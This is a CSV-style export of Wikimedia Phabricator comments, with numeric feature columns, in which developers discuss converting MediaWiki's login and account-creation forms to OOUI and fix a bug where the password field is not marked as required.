[[https://gerrit.wikimedia.org/r/291727]]",,,1464613159,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.714285714285714,0.9047619047619048,"Change 291727 merged by jenkins-bot:
Fix required field calculation in AuthenticationRequest

[[GERRIT_URL]]"
670958,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 291727 had a related patch set uploaded (by Gergő Tisza):
Fix required field calculation in AuthenticationRequest

[[https://gerrit.wikimedia.org/r/291727]]
",,,1464612359,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.518518518518518,0.8888888888888888,"Change 291727 had a related patch set uploaded (by Gergő Tisza):
Fix required field calculation in AuthenticationRequest

[[GERRIT_URL]]
"
670946,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 291678 merged by jenkins-bot:
Fix required field calculation in AuthenticationRequest

[[https://gerrit.wikimedia.org/r/291678]]",,,1464610952,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.714285714285714,0.9047619047619048,"Change 291678 merged by jenkins-bot:
Fix required field calculation in AuthenticationRequest

[[GERRIT_URL]]"
670786,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 291678 had a related patch set uploaded (by Gergő Tisza):
Fix required field calculation in AuthenticationRequest

[[https://gerrit.wikimedia.org/r/291678]]
",,,1464558068,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.518518518518518,0.8888888888888888,"Change 291678 had a related patch set uploaded (by Gergő Tisza):
Fix required field calculation in AuthenticationRequest

[[GERRIT_URL]]
"
668117,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),">>! In T85853#2299095, @matmarex wrote:
> AuthManager is merged and no longer a blocker, woo!
> 
> @Volker_E Would you be able/willing to take over https://gerrit.wikimedia.org/r/#/c/284902/ and finish it? (Get rid of all the CSS rules that no longer apply, and add new ones to make the forms pretty.)

Yes, I will. :) It's not my highest priority right now, but will do try to get it further in the next couple of weeks.
",,,1464156161,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,46,True,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,0.0,10.0,8.0,8.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.076923076923077,0.7692307692307693,"QUOTE
QUOTE
QUOTE
QUOTE

Yes, I will. :) It's not my highest priority right now, but will do try to get it further in the next couple of weeks.
"
663547,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),">>! In T85853#2299095, @matmarex wrote:
> @Tgr The required flag for password doesn't seem to be fixed on master :(. Do you want me to file a task for it?

Sorry! I will look into it for reals once we are over the merge/backport craziness.",,,1463476184,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,45,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,13.0,17.0,9.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5652173913043477,0.9565217391304348,"QUOTE
QUOTE

Sorry! I will look into it for reals once we are over the merge/backport craziness."
663215,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"AuthManager is merged and no longer a blocker, woo!

@Volker_E Would you be able/willing to take over https://gerrit.wikimedia.org/r/#/c/284902/ and finish it? (Get rid of all the CSS rules that no longer apply, and add new ones to make the forms pretty.)

@Tgr The required flag for password doesn't seem to be fixed on master :(. Do you want me to file a task for it?",,,1463433513,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,45,True,1.0,0.0,0.0,3.0,1.0,6.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,3.0,1.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,6.0,4.0,11.0,0.0,4.0,8.0,0.0,0.0,1.0,0.0,14.0,0.0,0.0,0.0,6.0,11.0,3.0,3.0,0.0,0.0,6.0,0.0,1.0,3.0,1.0,0.0,1.0,0.0,1.0,3.481012658227848,0.7721518987341772,"AuthManager is merged and no longer a blocker, woo!
SCREEN_NAME Would you be able/willing to take over URL and finish it? (Get rid of all the CSS rules that no longer apply, and add new ones to make the forms pretty.)
SCREEN_NAME The required flag for password doesn't seem to be fixed on master :(. Do you want me to file a task for it?"
651389,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),">>! In T85853#2236266, @matmarex wrote:
> Right. However, the send-temporary-password-via-email provider (TemporaryPasswordPrimaryAuthenticationProvider, apparently) is not available to be used by anonymous users for account creation. So, when an anonymous user is creating an account, the only provider that should matter is LocalPasswordPrimaryAuthenticationProvider, and that one obviously requires a password.

You are right, that should work. I'll look into it.

> I poked around a little and it seems like there are at least two reasonable ways we could do this. Can you say why they can't work? :) Both seem a bit hacky, but acceptable to me. (These patches apply on top of https://gerrit.wikimedia.org/r/#/c/284902/ / 1891ca9b027b9c9b3bf87e51708e5cd34d980ee1.)

The hardcoding the required flag would break registration methods which do not need a password (e.g. registering with a Facebook account). AuthManager is too generic to special-case for this, plus I don't think that part needs fixing - TemporaryPasswordPrimaryAuthenticationProvider does not return any request when the user is not logged in, so the  PasswordAuthenticationRequest is the only one that contains the password field, so AuthManager::getAuthenticationRequestsInternal should flip its required flag to REQUIRED and then AuthenticationRequest::mergeFieldInfo and AuthManagerSpecialPage::fieldInfoToFormDescriptor should change that into a form field definition with required => true. There is probably a bug in that somewhere.",,,1461611773,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,42,True,1.0,0.0,0.0,1.0,2.5,4.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,1.0,1.0,1.0,7.5,7.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.5,0.5,1.5,0.0,0.5,0.0,0.0,1.0,3.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,13.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.5,0.0,0.5,1.0,0.5,1.0,6.5,3.5,10.0,2.0,2.0,10.5,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,3.0,7.5,4.0,0.0,0.0,0.0,3.0,0.0,2.0,2.5,0.0,1.0,0.0,0.0,1.0,5.392540792540792,0.7783216783216784,"QUOTE
QUOTE

You are right, that should work. I'll look into it.

QUOTE

The hardcoding the required flag would break registration methods which do not need a password (e.g. registering with a Facebook account). AuthManager is too generic to special-case for this, plus I don't think that part needs fixing - TemporaryPasswordPrimaryAuthenticationProvider does not return any request when the user is not logged in, so the  PasswordAuthenticationRequest is the only one that contains the password field, so AuthManager::getAuthenticationRequestsInternal should flip its required flag to REQUIRED and then AuthenticationRequest::mergeFieldInfo and AuthManagerSpecialPage::fieldInfoToFormDescriptor should change that into a form field definition with required => true. There is probably a bug in that somewhere."
651347,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Right. However, the send-temporary-password-via-email provider (TemporaryPasswordPrimaryAuthenticationProvider, apparently) is not available to be used by anonymous users for account creation. So, when an anonymous user is creating an account, the only provider that should matter is LocalPasswordPrimaryAuthenticationProvider, and that one obviously requires a password.

I poked around a little and it seems like there are at least two reasonable ways we could do this. Can you say why they can't work? :) Both seem a bit hacky, but acceptable to me. (These patches apply on top of https://gerrit.wikimedia.org/r/#/c/284902/ / 1891ca9b027b9c9b3bf87e51708e5cd34d980ee1.)

* {F3929596}
* {F3929597}",,,1461609010,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,42,True,0.0,0.0,0.0,0.5,1.5,6.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.5,1.0,2.0,0.0,6.0,7.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,1.0,1.5,0.0,0.0,5.0,0.0,1.0,1.0,1.0,1.5,0.0,0.5,0.5,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,1.0,0.0,0.0,0.0,0.5,1.0,4.0,3.0,8.0,1.5,2.0,7.0,0.0,1.0,0.0,0.0,3.5,1.0,2.0,0.0,4.5,7.0,1.5,1.0,0.0,0.0,4.5,0.0,2.0,3.0,1.0,0.5,0.0,1.0,0.0,4.523809523809524,0.8095238095238095,"Right. However, the send-temporary-password-via-email provider (TemporaryPasswordPrimaryAuthenticationProvider, apparently) is not available to be used by anonymous users for account creation. So, when an anonymous user is creating an account, the only provider that should matter is LocalPasswordPrimaryAuthenticationProvider, and that one obviously requires a password.

I poked around a little and it seems like there are at least two reasonable ways we could do this. Can you say why they can't work? :) Both seem a bit hacky, but acceptable to me. (These patches apply on top of URL / 1891ca9b027b9c9b3bf87e51708e5cd34d980ee1.)

* {F3929596}
* {F3929597}"
650513,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Thanks for looking into this!

Required field handling is a weakness of the new system. There are two kinds of authentication plugins: primary providers tell who the user is (or create it), other providers perform extra checks (captcha, password reset etc). For an authentication success to succeed, all non-primary providers need to accept and one primary needs to accept (since primaries are competing authentication methods, like password login and Google OAuth login).

Providers can tell what fields they need and whether they are required; multiple providers can share the same field (e.g. local username/password, CentralAuth and LDAP login all use the same fields). A field will be marked as required is it is marked so by some non-primary provider, or by all primary providers.

Since the ""create a random password and send it to the given email address"" workflow does not require a password, the corresponding primary provider does not mark the field and it ends up as optional. (Toggling the ""send in email"" option will remove the field so it could be left required, but there is no way to express that.)

There is a hook for messing with form settings, so it's easy to re-add the required flag for a specific installation, but I'm not sure if it can be done in a generic way.",,,1461454892,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,42,True,1.3333333333333333,0.0,0.0,1.6666666666666667,1.0,8.333333333333334,0.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,1.0,0.3333333333333333,0.0,1.6666666666666667,10.333333333333334,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,6.666666666666667,1.0,2.6666666666666665,0.3333333333333333,0.0,0.0,0.0,0.0,2.0,0.3333333333333333,0.6666666666666666,0.0,2.0,0.3333333333333333,0.0,0.0,0.0,0.0,16.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,6.666666666666667,4.333333333333333,4.666666666666667,2.0,3.3333333333333335,9.0,0.0,0.0,0.3333333333333333,0.0,6.333333333333333,0.0,0.6666666666666666,0.0,3.6666666666666665,10.333333333333334,2.0,0.0,1.3333333333333333,0.0,3.6666666666666665,0.0,0.6666666666666666,2.6666666666666665,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,4.039581205311543,0.7142917943479742,"Thanks for looking into this!

Required field handling is a weakness of the new system. There are two kinds of authentication plugins: primary providers tell who the user is (or create it), other providers perform extra checks (captcha, password reset etc). For an authentication success to succeed, all non-primary providers need to accept and one primary needs to accept (since primaries are competing authentication methods, like password login and Google OAuth login).

Providers can tell what fields they need and whether they are required; multiple providers can share the same field (e.g. local username/password, CentralAuth and LDAP login all use the same fields). A field will be marked as required is it is marked so by some non-primary provider, or by all primary providers.

Since the ""create a random password and send it to the given email address"" workflow does not require a password, the corresponding primary provider does not mark the field and it ends up as optional. (Toggling the ""send in email"" option will remove the field so it could be left required, but there is no way to express that.)

There is a hook for messing with form settings, so it's easy to re-add the required flag for a specific installation, but I'm not sure if it can be done in a generic way."
650512,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Thanks for looking into this!

Required field handling is a weakness of the new system. There are two kinds of authentication plugins: primary providers tell who the user is (or create it), other providers perform extra checks (captcha, password reset etc). For an authentication success to succeed, all non-primary providers need to accept and one primary needs to accept (since primaries are competing authentication methods, like password login and Google OAuth login).

Providers can tell what fields they need and whether they are required; multiple providers can share the same field (e.g. local username/password, CentralAuth and LDAP login all use the same fields). A field will be marked as required is it is marked so by some non-primary provider, or by all primary providers.

Since the ""create a random password and send it to the given email address"" workflow does not require a password, the corresponding primary provider does not mark the field and it ends up as optional. (Toggling the ""send in email"" option will remove the field so it could be left required, but there is no way to express that.)

There is a hook for messing with form settings, so it's easy to re-add the flag for a specific installation, but I'm not sure if it can be done in a generic way.",,,1461454871,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,42,True,1.3333333333333333,0.0,0.0,1.6666666666666667,1.0,8.333333333333334,0.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,1.0,0.3333333333333333,0.0,1.6666666666666667,10.333333333333334,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,6.666666666666667,1.0,2.6666666666666665,0.3333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.6666666666666666,0.0,2.0,0.3333333333333333,0.0,0.0,0.0,0.0,16.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,6.666666666666667,4.333333333333333,4.666666666666667,2.0,3.3333333333333335,9.0,0.0,0.0,0.3333333333333333,0.0,6.333333333333333,0.0,0.6666666666666666,0.0,3.6666666666666665,10.333333333333334,2.0,0.0,1.3333333333333333,0.0,3.6666666666666665,0.0,0.6666666666666666,2.6666666666666665,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,4.024599931903302,0.7169305413687437,"Thanks for looking into this!

Required field handling is a weakness of the new system. There are two kinds of authentication plugins: primary providers tell who the user is (or create it), other providers perform extra checks (captcha, password reset etc). For an authentication success to succeed, all non-primary providers need to accept and one primary needs to accept (since primaries are competing authentication methods, like password login and Google OAuth login).

Providers can tell what fields they need and whether they are required; multiple providers can share the same field (e.g. local username/password, CentralAuth and LDAP login all use the same fields). A field will be marked as required is it is marked so by some non-primary provider, or by all primary providers.

Since the ""create a random password and send it to the given email address"" workflow does not require a password, the corresponding primary provider does not mark the field and it ends up as optional. (Toggling the ""send in email"" option will remove the field so it could be left required, but there is no way to express that.)

There is a hook for messing with form settings, so it's easy to re-add the flag for a specific installation, but I'm not sure if it can be done in a generic way."
650340,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Hmm, no idea. I presume it is a bug. The password can be optional in some workflows (when the send-temporary-password-via-email checkbox as seen in the last screenshot is checked, or perhaps in some different authentication methods), but I don't think it is optional in that one.",,,1461380848,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,42,True,3.0,0.0,0.0,2.0,2.0,10.0,5.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,3.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,6.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,6.0,2.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,6.0,10.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.7142857142857143,"Hmm, no idea. I presume it is a bug. The password can be optional in some workflows (when the send-temporary-password-via-email checkbox as seen in the last screenshot is checked, or perhaps in some different authentication methods), but I don't think it is optional in that one."
650848,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Thanks for that effort, a small question to start with, why doesn't the password field have a required indicator on “Create account” screen?",,,1461560468,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,42,True,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,4.068965517241379,0.9310344827586207,"Thanks for that effort, a small question to start with, why doesn't the password field have a required indicator on “Create account” screen?"
650304,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Thanks for that effort, a small question to star with, why doesn't the password field have a required indicator on “Create account” screen?",,,1461367312,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,42,True,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0344827586206895,0.9310344827586207,"Thanks for that effort, a small question to star with, why doesn't the password field have a required indicator on “Create account” screen?"
650065,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),">>! In T85853#2201537, @Tgr wrote:
> The relevant part is `LoginSignupSpecialPage::mainLoginForm`. It uses a vform because it looks very broken in ooui; anyone willing to tweak that is welcome :) (`$wgDisableAuthManager = false;` needs to be set to test it.)

I gave it a try (see patch above) and it was pretty easy to make it reasonable. Some things still look broken due to the weird mix of old mediawiki.ui and new OOjs UI styles, and some seems to be bugs in OOUIHTMLForm, and I didn't really feel like looking into those this morning, but I will at some point. (Unless perhaps @Volker_E does it first ;) )

Some quick screenshots:

| Before | {F3910474} | {F3910479} | {F3910499} | {F3910489} |
| -- |
| After | {F3910408} | {F3910412} | {F3910440} | {F3910449} |
| -- |

Notable changes:
* The forms fields are going to be a bit wider (to match the spacier style of OOjs UI, and to accomodate wide captchas which are now sometimes ""sticking out"" of the form, there should be a bug about this somewhere).
* Buttons are no longer full-width (it would look even sillier with the wider form).
* Some text is now hidden behind {F3910660,layout=inline,size=full} icons.",,,1461336417,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,42,True,1.6666666666666667,0.0,0.0,0.3333333333333333,0.3333333333333333,5.333333333333333,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,5.666666666666667,7.666666666666667,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,2.6666666666666665,0.6666666666666666,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,3.0,3.0,10.0,0.3333333333333333,2.0,6.333333333333333,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.6666666666666666,0.0,2.6666666666666665,7.666666666666667,5.0,0.0,1.0,0.0,2.6666666666666665,0.0,0.3333333333333333,1.0,0.0,1.0,1.6666666666666667,0.0,0.3333333333333333,3.400877192982456,0.698654970760234,"QUOTE
QUOTE

I gave it a try (see patch above) and it was pretty easy to make it reasonable. Some things still look broken due to the weird mix of old mediawiki.ui and new OOjs UI styles, and some seems to be bugs in OOUIHTMLForm, and I didn't really feel like looking into those this morning, but I will at some point. (Unless perhapsSCREEN_NAME does it first ;) )

Some quick screenshots:

| Before | {F3910474} | {F3910479} | {F3910499} | {F3910489} |
| -- |
| After | {F3910408} | {F3910412} | {F3910440} | {F3910449} |
| -- |

Notable changes:
* The forms fields are going to be a bit wider (to match the spacier style of OOjs UI, and to accomodate wide captchas which are now sometimes ""sticking out"" of the form, there should be a bug about this somewhere).
* Buttons are no longer full-width (it would look even sillier with the wider form).
* Some text is now hidden behind {F3910660,layout=inline,size=full} icons."
650064,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 284902 had a related patch set uploaded (by Bartosz Dziewoński):
[WIP] LoginSignupSpecialPage: Convert form to OOUI

[[https://gerrit.wikimedia.org/r/284902]]
",,,1461336200,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,42,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,27.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,4.133333333333334,0.8333333333333334,"Change 284902 had a related patch set uploaded (by Bartosz Dziewoński):
[WIP] LoginSignupSpecialPage: Convert form to OOUI

[[GERRIT_URL]]
"
644698,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),">>! In T85853#2101523, @matmarex wrote:
> There is actually work happening on T12317 now (as a side-effect of T110277) and it might be done before the end of March, yay (per comments on https://gerrit.wikimedia.org/r/#/c/240052/). So I say let's wait. :)

The relevant part is `LoginSignupSpecialPage::mainLoginForm`. It uses a vform because it looks very broken in ooui; anyone willing to tweak that is welcome :) (`$wgDisableAuthManager = false;` needs to be set to test it.)",,,1460501313,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,40,True,0.0,2.0,2.0,2.0,0.0,10.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,7.0,15.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,12.0,5.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4146341463414633,0.8292682926829268,"QUOTE
QUOTE

The relevant part is CODE. It uses a vform because it looks very broken in ooui; anyone willing to tweak that is welcome :) (CODE needs to be set to test it.)"
625999,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Yes. There are two ways we could do this:
